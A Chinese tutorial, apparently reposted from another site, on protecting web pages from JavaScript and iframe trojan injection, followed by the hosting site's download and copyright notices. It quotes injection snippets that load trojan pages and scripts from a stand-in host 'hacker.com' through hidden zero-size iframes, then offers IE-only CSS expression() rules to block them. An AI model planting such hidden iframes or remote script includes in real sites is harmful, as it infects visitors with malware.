防止网站被JS,iframe挂马的防范方法
这种方法使用的关键代码如下: window.open("http://www.hacker.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); 这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。 另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write(\’<Iframe src="网页木马地址" ></iframe>\’)”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: <script src="http://www.hacker.com/木马脚本.js"></script> 或者 document.write("<div style=\’display:none\’>") document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>") document.write("</div>") 就成功地将木马挂到了对方的网页中了。 小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为: <div style="behaviour: url(http://www.hacker.com/木马脚本.js);"> 或者: <iframe src="vbscript:[挂马脚本]"> 等等…… 防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下: iframe{mdy1:expression(this.src=\’about:blank\’,this.outerHTML=\’\’);} script{mzm2:expression((this.src.toLowerCase().indexOf(\’http\’)==0)?document.write(\’木马被成功隔离!\’):\’\’);} 不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。 所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。 让JS木马的进程迅速中止 在 <head> </head> 之间加入如下代码: 屏蔽script和iframe <style type="text/css" id="LinrStudio"> /*<![CDATA[*/ iframe{nhk1:expression(this.src=\’about:blank\’,this.outerHTML=\’\’);} script{ngz1:expression((this.src.indexOf(\’http\’)==0)?document.close():\’\’);} /*]]>*/ </style> 单屏蔽script <style type="text/css" id="LinrStudio"> /*<![CDATA[*/ /*iframe{nhk1:expression(this.src=\’about:blank\’,this.outerHTML=\’\’);}*/ script{ngz1:expression((this.src.indexOf(\’http\’)==0)?document.close():\’\’);} /*]]>*/ </style> 上面的代码经脚本之家测试,代码是根据查找http一般情况下大家写的js路径,是带有域名的,例如脚本之家使用的就是http:https://img.jb51.net/1.js那么也是无法运行的,所以上面的代码有一定的局限性。大家可以根据需要修改。 例如我们的地址都是img.jb51.net那么可以写成 script{ngz1:expression((this.src.indexOf(\’jb51.net\’)==-1)?document.close():\’\’);} 那么我们需要的就是将我们所以的js都写成带http:https://img.jb51.net的。如果你有更好的方法可以发布下。下面是我们给出的可能需要多重判断 script{ngz1:expression(((this.src.indexOf(\’jb51.net\’)==-1)&&this.src.indexOf(\’http\’)==0)?document.close():\’\’);}
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » 防止网站被JS,iframe挂马的防范方法
常见问题FAQ
- 免费下载或者VIP会员专享资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 织梦模板使用说明
- 你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html